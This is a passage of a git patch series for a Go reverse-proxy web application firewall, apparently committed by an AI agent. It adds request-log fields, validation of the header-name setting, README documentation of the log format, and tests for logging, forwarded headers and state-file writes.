lines processLog) { + t.Helper() + + run(t, files.Watch) + lines.waitFor(t, watching) +} + +// processLog receives the lines of a process log, each a JSON object, for +// a test to wait for. +type processLog chan string + +// logInto has params' process log write its lines into a new processLog, +// and returns that. +func logInto(params *state.Params) processLog { + lines := make(processLog, maxLogLines) + params.ProcessLog = slog.New(slog.NewJSONHandler(lines, nil)) + + return lines +} + +// Write receives a line of the process log. +func (l processLog) Write(line []byte) (int, error) { + l <- string(line) + + return len(line), nil +} + +// waitFor returns the next line of the process log whose message is msg, +// passing over the lines before it, or nil if the log is closed first. It +// waits as long as that takes, so that a slow test process cannot fail +// the test. +func (l processLog) waitFor(t *testing.T, msg string) map[string]any { + t.Helper() + + for line := range l { + var fields map[string]any + + err := json.Unmarshal([]byte(line), &fields) + if err != nil { + t.Fatalf("process log line %q is not JSON: %v", line, err) + } + + if fields["msg"] == msg { + return fields + } + } + + return nil +} + +// wantTakenIn waits for the next edit taken in, and checks that it is of +// the state file name in dir. +func wantTakenIn(t *testing.T, lines processLog, dir, name string) { + t.Helper() + + line := lines.waitFor(t, tookIn) + if line["file"] != filepath.Join(dir, name) { + t.Fatalf("took in %v, want an edit of %s", line, name) + } +} + +// edit writes content to the state file name in dir, as an admin saves an +// edit of it. +func edit(t *testing.T, dir, name, content string) { + t.Helper() + + err := os.WriteFile(filepath.Join(dir, name), []byte(content), 0o600) + if err != nil { + t.Fatalf("write %s: %v", name, err) + } +} + // wantEqual checks that the entries read back from file are those // written. func wantEqual[E comparable](t *testing.T, file string, got, want []E) { @@ -735,6 +1193,18 @@ func metric(t *testing.T, text, series string) float64 { return 0 } +// wantWriteFailed checks that the metrics of params count one write of the +// state file name, and that it failed. +func wantWriteFailed(t *testing.T, params state.Params, name string) { + t.Helper() + + got := scrape(t, params) + file := `{file="` + name + `"}` + + wantMetric(t, got, "smallwebwaf_state_file_writes_total"+file, 1) + wantMetric(t, got, "smallwebwaf_state_file_write_failures_total"+file, 1) +} + // wantMetric checks the value of series in text, the metrics, as metric // reads it. func wantMetric(t *testing.T, text, series string, want float64) { diff --git a/internal/state/write_internal_test.go b/internal/state/write_internal_test.go new file mode 100644 index 0000000..698fb3b --- /dev/null +++ b/internal/state/write_internal_test.go @@ -0,0 +1,35 @@ +package state + +import ( + "os" + "path/filepath" + "testing" +) + +// The test is on write itself: a state file is read before it is +// written, and a directory in its place fails that read first. +func TestFailedRenameLeavesNoTemporaryFile(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + + // A directory named bans.json cannot be renamed over. + err := os.Mkdir(filepath.Join(dir, bansJSON), 0o700) + if err != nil { + t.Fatalf("mkdir: %v", err) + } + + err = write(dir, bansJSON, []byte("{}\n")) + if err == nil { + t.Error("writing over a directory did not fail") + } + + entries, err := os.ReadDir(dir) + if err != nil { + t.Fatalf("read %s: %v", dir, err) + } + + if len(entries) != 1 || entries[0].Name() != bansJSON { + t.Errorf("%s holds %v, want only bans.json", dir, entries) + } +} From 808e69f4424116b7d7c69e9ab9dd1a3a61bcf4f0 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 17:26:21 +0200 Subject: [PATCH 24/64] Log the rest of the request log's fields (closes #79) Each request log line now has the fields "Request log" in SPEC.md lists whose features are built: instance (SWWAF_INSTANCE_NAME), scheme, request_id (a trusted proxy's X-Request-ID or a new one, sent on to the app), forwarded_for, client_group, content_type, content_length, the headers SWWAF_LOG_REQUEST_HEADERS names, has_authorization, has_cookie, websocket, response_content_type, cache_control, location, counts and the timings. Authorization, Cookie and Set-Cookie values are never logged. An entry of SWWAF_LOG_REQUEST_HEADERS that is not a header name, or is Host or Transfer-Encoding, stops the start. Deviation: counts has request totals only. Deviation: SWWAF_INSTANCE_NAME is on request lines only. Model: opus-5-5 --- README.md | 106 +++++-- internal/config/config.go | 68 ++++- internal/config/config_test.go | 70 ++++- internal/proxy/bans.go | 13 +- internal/proxy/client.go | 28 ++ internal/proxy/client_test.go | 30 +- internal/proxy/health_test.go | 15 +- internal/proxy/passthrough_test.go | 45 ++- internal/proxy/proxy.go | 5 + internal/proxy/proxy_test.go | 16 +- internal/proxy/request.go | 135 +++++++-- internal/proxy/requestlog_test.go | 368 +++++++++++++++++++++++++ internal/ratelimit/ratelimit.go | 31 ++- internal/ratelimit/ratelimit_test.go | 29 +- internal/requestlog/requestlog.go | 96 +++++-- internal/requestlog/requestlog_test.go | 6 +- 16 files changed, 933 insertions(+), 128 deletions(-) create mode 100644 internal/proxy/requestlog_test.go diff --git a/README.md b/README.md index 7544ef9..d09e8b6 100644 --- a/README.md +++ b/README.md @@ -13,23 +13,24 @@ JSON log line for every request. Status: the first two milestones are built (https://git.eeqj.de/sneak/smallwebwaf/issues/13 and -https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are six parts of +https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are seven parts of milestone 3: the static lists, the bans that broken rate limits lead to and the JSON state files with your edits taken in while it runs, which come next in the -build order, `observe` mode, which comes a little later, and the metrics -endpoint and the header size and the idle time as settings, which come last in -it. `smallwebwaf` passes each request to the app and the app's answer back, -unchanged, within its timeouts and size limits, works out each client's address, -bans a client that sends too many requests, refuses a client that comes from a -country you refuse or from a network you refuse, lets the networks you choose -through, keeps its bans, each client's counters and history, and GeoJS's answers -in JSON files across restarts, takes in your edits of those files while it runs, -writes a JSON log line for every request, serves Prometheus metrics to a scraper -that holds the metrics token, and in `observe` mode passes on the requests it -would refuse, logging what it would have done with them. It comes as the image -the app's own image is built on. The rest of the design comes after that, in the -order of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools -that led to the design is in [`EVALUATION.md`](EVALUATION.md). +build order, `observe` mode and the rest of the request log's fields, which come +a little later, and the metrics endpoint and the header size and the idle time +as settings, which come last in it. `smallwebwaf` passes each request to the app +and the app's answer back, unchanged, within its timeouts and size limits, works +out each client's address, bans a client that sends too many requests, refuses a +client that comes from a country you refuse or from a network you refuse, lets +the networks you choose through, keeps its bans, each client's counters and +history, and GeoJS's answers in JSON files across restarts, takes in your edits +of those files while it runs, writes a JSON log line for every request, serves +Prometheus metrics to a scraper that holds the metrics token, and in `observe` +mode passes on the requests it would refuse, logging what it would have done +with them. It comes as the image the app's own image is built on. The rest of +the design comes after that, in the order of the build order in +[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in +[`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -66,7 +67,9 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set. address outside `SWWAF_TRUSTED_PROXIES` is the client; if every address in it is inside, the leftmost is, and with no header the peer is. The app sees what it would see from traefik directly: the same `Host`, the same - `X-Forwarded-Proto`, and `X-Forwarded-For` with the peer added at the end. + `X-Forwarded-Proto`, and `X-Forwarded-For` with the peer added at the end. It + also gets the request's id in `X-Request-ID`, the same id as in the request's + log line (see `request_id` in "Request log" below). - Enforces the timeouts and the size limits below. A limit passed before the response has started gets `smallwebwaf`'s own answer: `408` for a client too slow to send its request, `413` for a request body that is too large, `504` @@ -154,6 +157,11 @@ it, and the effective settings are logged at start. - `SWWAF_LISTEN_ADDR` (default `:8080`): where `smallwebwaf` listens. - `SWWAF_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app, as `http` or `https`, a host and an optional port, and nothing more. +- `SWWAF_INSTANCE_NAME` (default: the host's name, which docker sets to the + first 12 characters of the container's id unless the deployment names one): + the name each request log line gives as `instance`. Set it, for example to + `fsn1app1/gitea`, for a name that stays the same when a deploy replaces the + container, and that tells instances apart when several log to one place. - `SWWAF_MODE` (default `enforce`): `enforce`, or `observe` to pass on the requests `smallwebwaf` would refuse and log what it would have done (see "What it does so far" above). @@ -221,6 +229,13 @@ it, and the effective settings are logged at start. `bans.json` is written, with every ban made in between. - `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is written. +- `SWWAF_LOG_REQUEST_HEADERS` (default + `accept,accept-language,accept-encoding,content-type,origin,range`): the + request headers whose values the request log gives, in either case. + `Authorization`, `Cookie` and `Set-Cookie` are never logged, even when listed + (see "Request log" below). An entry naming `Host` or `Transfer-Encoding` stops + the start, since Go's HTTP server takes both out of the request; the request's + host is the field `host`. - `SWWAF_METRICS_TOKEN` (default unset): the token a scraper sends for the metrics, a long random value. While it is unset the metrics are off; one shorter than 32 characters stops the start. The settings logged at start show @@ -250,18 +265,42 @@ GeoJS are kept, for 7 days each. refused ones included: ``` -{"type":"request","time":"2026-10-03T12:00:00.123Z","client_ip":"203.0.113.9","peer_ip":"172.18.0.2","country":"DE","method":"GET","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"upstream_status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","action":"forward","duration_total":3.217,"duration_upstream_total":3.104} +{"type":"request","time":"2026-10-03T12:00:00.123Z","instance":"fsn1app1/gitea","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","country":"DE","request_headers":{"accept":"*/*"},"response_content_type":"text/html; charset=utf-8","upstream_status":200,"action":"forward","counts":{"minute":1,"hour":12,"day":40},"duration_total":3.217,"duration_checks":0.041,"duration_upstream_connect":0.052,"duration_upstream_first_byte":2.874,"duration_upstream_total":3.104} ``` -- `time` is when the request arrived, in UTC. `peer_ip` is the TCP peer, - normally traefik. `path` and `query` are as the client sent them. +A field that does not apply to a request is left out of its line, apart from +`type`, the fields from `time` to `user_agent`, `request_id`, `peer_ip`, +`client_group`, `country`, `action` and `duration_total`, which every line has. + +- `time` is when the request arrived, in UTC. `instance` is + `SWWAF_INSTANCE_NAME`. `scheme` is the `X-Forwarded-Proto` a trusted proxy + sent, and otherwise `http`. `path` and `query` are as the client sent them. +- `request_id` is the `X-Request-ID` a trusted proxy sent, or a new random one + of 26 letters and digits when it sent none, or when the peer is not a trusted + proxy. A request passed to the app takes it there in `X-Request-ID`. +- `peer_ip` is the TCP peer, normally traefik. `forwarded_for` is the + `X-Forwarded-For` header as received, several lines of it joined with `, `. + `client_group` is the client as the rate limits count it: its IPv4 address as + a /32, or the /64 of its IPv6 address. - `country` is the client's country as GeoJS places it. It is empty with neither country list set, for a client in `SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS`, for a client on a private, loopback or link-local address, when GeoJS cannot place the client or has not answered in time, and for a request whose client a ban covers, even when the client's country is known. +- `content_type` is the request's `Content-Type`, and `content_length` the + length the request announced for its body, which is left out for none or zero. +- `request_headers` are the request's headers that `SWWAF_LOG_REQUEST_HEADERS` + names, by name in lower case, several lines of one joined with `, `. + `Authorization`, `Cookie` and `Set-Cookie` are never among them, whatever the + setting says: `has_authorization` and `has_cookie` are there instead, and + true, when the request has an `Authorization` or a `Cookie` header. +- `websocket` is there, and true, when the app switched the connection to + another protocol, as it does for a WebSocket. - `status` is what the client was sent, `0` if nothing was; `upstream_status` is what the app answered, and is left out when the app did not answer. +- `response_content_type`, `cache_control` and `location` are the + `Content-Type`, `Cache-Control` and `Location` headers of the answer: the + app's, as passed on, or those of `smallwebwaf`'s own answer. - `request_bytes` and `response_bytes` count body bytes. - `action` is `forward` for a request passed to the app, `denied` for one refused because its client is in `SWWAF_DENY_NETS`, `banned` for one refused @@ -277,6 +316,15 @@ refused ones included: `banned`, `country_denied` or `rate_limited`. `action` then names what was done: `forward` for a request passed to the app, and another action, such as `too_large`, for one a size or time limit refused. +- `counts` gives the client's requests in the minute, the hour and the day as + the rate limits count them, this request included: in each window, those in + the bucket under way and a share of those in the bucket before, so a count can + have a fraction. For a request that broke a limit, they are the counts that + broke it. It is left out for a request the rate limits do not count: the + health check, one from a client in `SWWAF_ALLOW_NETS` or + `SWWAF_RATE_LIMIT_EXEMPT_NETS`, and one that `SWWAF_DENY_NETS`, a ban or the + country lists refuse, or would refuse in `observe` mode. The byte totals come + with the byte limits. - `limit_hit` is there for a request that broke a rate limit, and names the window whose limit it went over: `minute`, `hour` or `day`, the shortest if it went over several. `offence` is then `limit`. @@ -284,10 +332,19 @@ refused ones included: or in `observe` mode would have been refused under one, and gives when the ban ends, in the same form as `time`, or `permanent`. - `aborted` is there, and true, when the client went away early. -- `duration_total` and `duration_upstream_total` are in milliseconds. +- The timings are in milliseconds, to the microsecond. `duration_total` runs + from when the request's headers had been read to when its line is written, and + `duration_checks` over the same start to when the checks were done; the health + check runs none, and its line has no `duration_checks`. + `duration_upstream_connect`, `duration_upstream_first_byte` and + `duration_upstream_total` are there for a request passed to the app, and run + from when it was handed to the app: until there was a connection to it, new or + kept open from an earlier request, until the first byte of its answer arrived, + and until the end. The first two are left out when that never happened, as for + an app that cannot be reached. -No body and no other header is logged. `smallwebwaf`'s own messages (start, the -settings, stop, errors) share the stream as JSON lines marked +No body is logged, and no header but those above. `smallwebwaf`'s own messages +(start, the settings, stop, errors) share the stream as JSON lines marked `"type":"process"`. Go's HTTP server, on which `smallwebwaf` is built, reads a request's line and @@ -773,9 +830,8 @@ so that they run in minimal containers. ## TODO -- The rest of milestone 3: exemptions and the rest of the request log's fields; - then the rest of the design, in the order of the build order in - [`SPEC.md`](SPEC.md). +- The rest of milestone 3: exemptions; then the rest of the design, in the order + of the build order in [`SPEC.md`](SPEC.md). ## Documents diff --git a/internal/config/config.go b/internal/config/config.go index 9a63fa5..1c62687 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -12,6 +12,7 @@ import ( "net/http" "net/netip" "net/url" + "os" "path/filepath" "slices" "strconv" @@ -27,6 +28,10 @@ type Config struct { ListenAddr string // UpstreamURL is the app (SWWAF_UPSTREAM_URL). UpstreamURL *url.URL + // InstanceName is the name each request log line gives as instance + // (SWWAF_INSTANCE_NAME), by default the host's name, which docker sets + // to the first 12 characters of the container's id. + InstanceName string // Observe is true in observe mode, when SWWAF_MODE is observe rather // than enforce: a request that SWWAF_DENY_NETS, a ban, the country // lists or a rate limit would refuse is passed to the app instead, and @@ -109,6 +114,9 @@ type Config struct { StateDir string StateWriteDelay time.Duration StateCounterInterval time.Duration + // LogRequestHeaders are the request headers whose values the request + // log gives, in lower case (SWWAF_LOG_REQUEST_HEADERS). + LogRequestHeaders []string // MetricsToken is the bearer token a scraper sends for the metrics // (SWWAF_METRICS_TOKEN), "" while it is unset and the metrics are off. // MetricsTopN is how many countries get series of their own in the @@ -155,6 +163,11 @@ var ( "such as http://127.0.0.1:8081") errNotCountry = errors.New( "is not a two-letter country code such as de or kp") + errNotHeaderName = errors.New( + "is not a header name such as accept-language") + errHeaderTakenOut = errors.New( + "is taken out of every request by Go's HTTP server, so it can never " + + "be logged") errOnBothLists = errors.New("is in SWWAF_DENIED_COUNTRIES too") errNotOver4K = errors.New("is not a size of more than 4K, such as 32K") errNotDurationAboveZero = errors.New( @@ -175,9 +188,11 @@ var ( // that is set but invalid is an error that names it. func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { env := &environment{lookupEnv: lookupEnv} + hostname, _ := os.Hostname() // "" when the host has no name to give cfg := &Config{ ListenAddr: env.address("SWWAF_LISTEN_ADDR", ":8080"), UpstreamURL: env.appURL("SWWAF_UPSTREAM_URL", "http://127.0.0.1:8081"), + InstanceName: env.value("SWWAF_INSTANCE_NAME", hostname), Observe: env.observe("SWWAF_MODE", "enforce"), TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges), ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"), @@ -207,8 +222,10 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { StateDir: env.absolutePath("SWWAF_STATE_DIR", "/var/lib/smallwebwaf"), StateWriteDelay: env.durationNotOff("SWWAF_STATE_WRITE_DELAY", "10s"), StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), - MetricsToken: env.token("SWWAF_METRICS_TOKEN"), - MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), + LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS", + "accept,accept-language,accept-encoding,content-type,origin,range"), + MetricsToken: env.token("SWWAF_METRICS_TOKEN"), + MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), } for _, country := range cfg.ExclusivelyAllowedCountries { @@ -341,6 +358,15 @@ func (e *environment) countries(name, defaultValue string) []string { return countries } +// headerNames reads a setting that is a list of header names, and +// returns them in lower case. +func (e *environment) headerNames(name, defaultValue string) []string { + headers, err := parseHeaderNames(e.value(name, defaultValue)) + e.check(name, err) + + return headers +} + // durationNotOff reads a setting that is a duration and, unlike a // timeout, cannot be off. func (e *environment) durationNotOff(name, defaultValue string) time.Duration { @@ -667,6 +693,44 @@ func parseCountries(value string) ([]string, error) { return countries, nil } +// headerNameChars are the characters RFC 9110 allows in a header name: +// letters, digits and these marks. +const headerNameChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + + "0123456789!#$%&'*+-.^_`|~" + +// parseHeaderNames reads a comma-separated list of header names in either +// case, and returns them in lower case. Host and Transfer-Encoding are +// refused: Go's HTTP server takes them out of the request's headers. +func parseHeaderNames(value string) ([]string, error) { + items, err := parseList(value) + if err != nil { + return nil, err + } + + headers := make([]string, 0, len(items)) + + for _, item := range items { + for _, char := range item { + if !strings.ContainsRune(headerNameChars, char) { + return nil, fmt.Errorf("%q %w", item, errNotHeaderName) + } + } + + header := strings.ToLower(item) + switch header { + case "host": + return nil, fmt.Errorf("%q %w; the request's host is the field host", + item, errHeaderTakenOut) + case "transfer-encoding": + return nil, fmt.Errorf("%q %w", item, errHeaderTakenOut) + } + + headers = append(headers, header) + } + + return headers, nil +} + // parseListenAddr checks an address to listen on: an optional host and a // port number. func parseListenAddr(value string) (string, error) { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 100229c..ccfe4c7 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -6,6 +6,7 @@ import ( "log/slog" "maps" "net/netip" + "os" "slices" "strings" "testing" @@ -47,8 +48,14 @@ const ( stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name metricsTopN = "SWWAF_METRICS_TOP_N" + instanceName = "SWWAF_INSTANCE_NAME" + logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" ) +// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS. +const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," + + "content-type,origin,range" + // token is a token of 32 characters, the shortest allowed. const token = "0123456789abcdef0123456789abcdef" @@ -120,6 +127,18 @@ func TestDefaults(t *testing.T) { wantNetblocks(t, cfg.DenyNets) wantCountries(t, deniedCountries, cfg.DeniedCountries) wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries) + + hostname, err := os.Hostname() + if err != nil || hostname == "" || cfg.InstanceName != hostname { + t.Errorf("%s is %q, want the host's name %q (%v)", instanceName, + cfg.InstanceName, hostname, err) + } + + wantHeaders := strings.Split(defaultLogRequestHeaders, ",") + if !slices.Equal(cfg.LogRequestHeaders, wantHeaders) { + t.Errorf("%s gave %v, want %v", logRequestHeaders, cfg.LogRequestHeaders, + wantHeaders) + } } func TestValuesAsSet(t *testing.T) { @@ -198,6 +217,21 @@ func TestValuesAsSet(t *testing.T) { wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE") } +func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{ + instanceName: "fsn1app1/gitea", + logRequestHeaders: " Accept , X-Custom", + }) + + if cfg.InstanceName != "fsn1app1/gitea" || + !slices.Equal(cfg.LogRequestHeaders, []string{"accept", "x-custom"}) { + t.Errorf("%s is %q and %s gives %v", instanceName, cfg.InstanceName, + logRequestHeaders, cfg.LogRequestHeaders) + } +} + func TestCodeOnBothCountryListsStopsTheStart(t *testing.T) { t.Parallel() @@ -299,9 +333,7 @@ func TestInvalidValueStopsTheStart(t *testing.T) { t.Parallel() for _, tc := range []struct{ name, value string }{ - {listenAddr, "8080"}, - {listenAddr, ":http"}, - {listenAddr, ":65536"}, + {listenAddr, "8080"}, {listenAddr, ":http"}, {listenAddr, ":65536"}, {upstreamURL, "127.0.0.1:8081"}, {upstreamURL, "ftp://127.0.0.1:8081"}, {upstreamURL, "http://"}, @@ -319,8 +351,7 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {allowNets, "192.0.2.0/24,monitoring"}, {rateLimitExemptNets, "2001:db8::/129"}, {denyNets, "198.51.100.0/24,"}, - {clientRequestTimeout, "60"}, - {clientRequestTimeout, ""}, + {clientRequestTimeout, "60"}, {clientRequestTimeout, ""}, {clientIdleTimeout, "0s"}, {clientIdleTimeout, "2 minutes"}, {clientResponseTimeout, "1y"}, @@ -361,6 +392,10 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {stateWriteDelay, off}, {stateWriteDelay, "0s"}, {stateCounterInterval, off}, {stateCounterInterval, "15"}, {metricsTopN, off}, {metricsTopN, "0"}, {metricsTopN, "-1"}, + {logRequestHeaders, "accept,,origin"}, {logRequestHeaders, "accept;origin"}, + {logRequestHeaders, "accept language"}, {logRequestHeaders, "x-foo:"}, + {logRequestHeaders, "host"}, {logRequestHeaders, "accept,Host"}, + {logRequestHeaders, "transfer-encoding"}, {logRequestHeaders, "TRANSFER-ENCODING"}, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() @@ -377,6 +412,27 @@ func TestInvalidValueStopsTheStart(t *testing.T) { } } +func TestHostOrTransferEncodingStopsTheStart(t *testing.T) { + t.Parallel() + + // Only Host's message points to the field host. + for value, want := range map[string]string{ + "Host": `"Host" is taken out of every request by Go's HTTP server, ` + + "so it can never be logged; the request's host is the field host", + "transfer-encoding": `"transfer-encoding" is taken out of every ` + + "request by Go's HTTP server, so it can never be logged", + } { + t.Run(value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{logRequestHeaders: value}.lookupEnv) + if err == nil || err.Error() != logRequestHeaders+": "+want { + t.Errorf("error %v, want %s: %s", err, logRequestHeaders, want) + } + }) + } +} + func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) { t.Parallel() @@ -428,6 +484,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { t.Fatalf("decode %s: %v", out.Bytes(), err) } + hostname, _ := os.Hostname() + want := map[string]string{ listenAddr: ":8080", upstreamURL: "http://127.0.0.1:8081", @@ -460,6 +518,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { stateCounterInterval: "15m", metricsToken: "", metricsTopN: "50", + instanceName: hostname, + logRequestHeaders: defaultLogRequestHeaders, } if !maps.Equal(line.Settings, want) { t.Errorf("logged settings\n%v\nwant\n%v", line.Settings, want) diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index df8de16..96abb66 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -30,14 +30,17 @@ func (rq *request) banned(now time.Time) bool { return banned } -// limitBroken counts the request for the rate limits at now, and reports -// whether it takes the client over one. In enforce mode such a request -// bans the client's netblock, and sets the client's counters back to -// zero; in observe mode it does neither. +// limitBroken counts the request for the rate limits at now, notes the +// client's counts for the log line, and reports whether the request takes +// the client over a limit. In enforce mode such a request bans the +// client's netblock, and sets the client's counters back to zero; in +// observe mode it does neither. func (rq *request) limitBroken(now time.Time) bool { group := clientGroup(rq.client) - hit, over := rq.h.limiter.Count(group, now) + counts, hit, over := rq.h.limiter.Count(group, now) + rq.line.Counts = counts + if !over { return false } diff --git a/internal/proxy/client.go b/internal/proxy/client.go index e1c751e..11058b9 100644 --- a/internal/proxy/client.go +++ b/internal/proxy/client.go @@ -1,6 +1,7 @@ package proxy import ( + "crypto/rand" "net/http" "net/netip" "slices" @@ -48,6 +49,33 @@ func clientAddress( return client } +// requestIDHeader carries the request's id, from traefik and to the app. +const requestIDHeader = "X-Request-ID" + +// requestID is the request's id: the one a trusted proxy sent, or a new +// random one. A peer outside the trusted proxies did not come through +// traefik, so the id it sends is its own claim, and is replaced. +func requestID(r *http.Request, peerTrusted bool) string { + id := r.Header.Get(requestIDHeader) + if !peerTrusted || id == "" { + id = rand.Text() + } + + return id +} + +// scheme is how the client reached traefik, as a trusted proxy says in +// X-Forwarded-Proto, or otherwise http, the only scheme smallwebwaf +// serves. +func scheme(r *http.Request, peerTrusted bool) string { + proto := r.Header.Get("X-Forwarded-Proto") + if !peerTrusted || proto == "" { + return "http" + } + + return proto +} + // ipv6GroupPrefix is the length of the IPv6 netblock that is one client. const ipv6GroupPrefix = 64 diff --git a/internal/proxy/client_test.go b/internal/proxy/client_test.go index 37b4951..cf4ece5 100644 --- a/internal/proxy/client_test.go +++ b/internal/proxy/client_test.go @@ -14,10 +14,14 @@ const ( appHost = "app.example" // client is the client's address, as a proxy names it. client = "203.0.113.9" - // forwardedFor is the header that lists the client and its proxies. - forwardedFor = "X-Forwarded-For" - // secure is the scheme a client reached traefik with. + // forwardedFor is the header that lists the client and its proxies, + // and forwardedProto the one that gives the scheme the client used. + forwardedFor = "X-Forwarded-For" + forwardedProto = "X-Forwarded-Proto" + // secure is the scheme a client reached traefik with, and plain the + // one smallwebwaf serves. secure = "https" + plain = "http" ) // appHeaders is what the app tells about the headers it received. @@ -65,13 +69,13 @@ func TestClientAddressAndForwardedHeaders(t *testing.T) { func clientAddressCases() []clientAddressCase { trusted := map[string]string{trustedProxies: trustLocalhost} forged := http.Header{ - forwardedFor: {client}, - "X-Forwarded-Host": {"forged.example"}, - "X-Forwarded-Proto": {secure}, - "X-Real-Ip": {client}, + forwardedFor: {client}, + "X-Forwarded-Host": {"forged.example"}, + forwardedProto: {secure}, + "X-Real-Ip": {client}, } replaced := appHeaders{ - ForwardedFor: localhost, ForwardedHost: appHost, ForwardedProto: "http", + ForwardedFor: localhost, ForwardedHost: appHost, ForwardedProto: plain, } return []clientAddressCase{{ @@ -87,10 +91,10 @@ func clientAddressCases() []clientAddressCase { "outside the trusted proxies from the right", env: trusted, header: http.Header{ - forwardedFor: {"198.51.100.7, " + client + ", 10.0.0.2"}, - "X-Forwarded-Host": {appHost}, - "X-Forwarded-Proto": {secure}, - "X-Real-Ip": {client}, + forwardedFor: {"198.51.100.7, " + client + ", 10.0.0.2"}, + "X-Forwarded-Host": {appHost}, + forwardedProto: {secure}, + "X-Real-Ip": {client}, }, wantClient: client, wantApp: appHeaders{ @@ -138,7 +142,7 @@ func requestWithHeaders( Host: r.Host, ForwardedFor: r.Header.Get(forwardedFor), ForwardedHost: r.Header.Get("X-Forwarded-Host"), - ForwardedProto: r.Header.Get("X-Forwarded-Proto"), + ForwardedProto: r.Header.Get(forwardedProto), RealIP: r.Header.Get("X-Real-IP"), }) }) diff --git a/internal/proxy/health_test.go b/internal/proxy/health_test.go index eacf49e..e069d98 100644 --- a/internal/proxy/health_test.go +++ b/internal/proxy/health_test.go @@ -21,14 +21,18 @@ func TestHealthEndpointIsAnsweredBeforeAnyCheck(t *testing.T) { // the last one would have it refused. addr, out := startProxy(t, app.URL, map[string]string{rateLimitPerMinute: "1"}) - const healthChecks = 3 + const ( + healthChecks = 3 + contentType = "text/plain; charset=utf-8" + ) for range healthChecks { got := get(t, addr, proxy.HealthPath) wantStatus(t, got, http.StatusOK) - if string(got.body) != "ok\n" { - t.Errorf("health endpoint answered %q, want ok", got.body) + if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType { + t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+ + "with %q", got.body, got.header.Get("Content-Type"), contentType) } } @@ -37,6 +41,11 @@ func TestHealthEndpointIsAnsweredBeforeAnyCheck(t *testing.T) { lines := out.requestLines(t, healthChecks+1) for _, line := range lines[:healthChecks] { wantLine(t, line, http.StatusOK, requestlog.ActionAdmin) + + if line.ResponseContentType != contentType { + t.Errorf("health check's log line has response_content_type %q, "+ + "want %q", line.ResponseContentType, contentType) + } } wantLine(t, lines[healthChecks], http.StatusOK, requestlog.ActionForward) diff --git a/internal/proxy/passthrough_test.go b/internal/proxy/passthrough_test.go index c8a6ad6..5a7f015 100644 --- a/internal/proxy/passthrough_test.go +++ b/internal/proxy/passthrough_test.go @@ -6,6 +6,8 @@ import ( "errors" "io" "net/http" + "os" + "reflect" "slices" "strings" "sync/atomic" @@ -14,6 +16,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" ) @@ -115,27 +118,34 @@ func wantAnswer(t *testing.T, got answer, body []byte) { } } -// wantRequestFields checks the log line's fields about the request. +// wantRequestFields checks the log line's fields about the request. Its +// time, its id and its timings are checked only for being there. func wantRequestFields(t *testing.T, line logLine, host string, sent, received int) { t.Helper() - want := requestlog.Line{ - Type: "request", Time: line.Time, ClientIP: localhost, PeerIP: localhost, - Method: http.MethodPatch, Host: host, Path: rawPath, Query: rawQuery, - Protocol: "HTTP/1.1", Status: http.StatusTeapot, - UpstreamStatus: http.StatusTeapot, RequestBytes: int64(sent), + hostname, _ := os.Hostname() + + want := withTimings(line, requestlog.Line{ + Type: requestType, Time: line.Time, Instance: hostname, + ClientIP: localhost, Method: http.MethodPatch, Scheme: plain, Host: host, + Path: rawPath, Query: rawQuery, Protocol: protocol, + Status: http.StatusTeapot, RequestBytes: int64(sent), 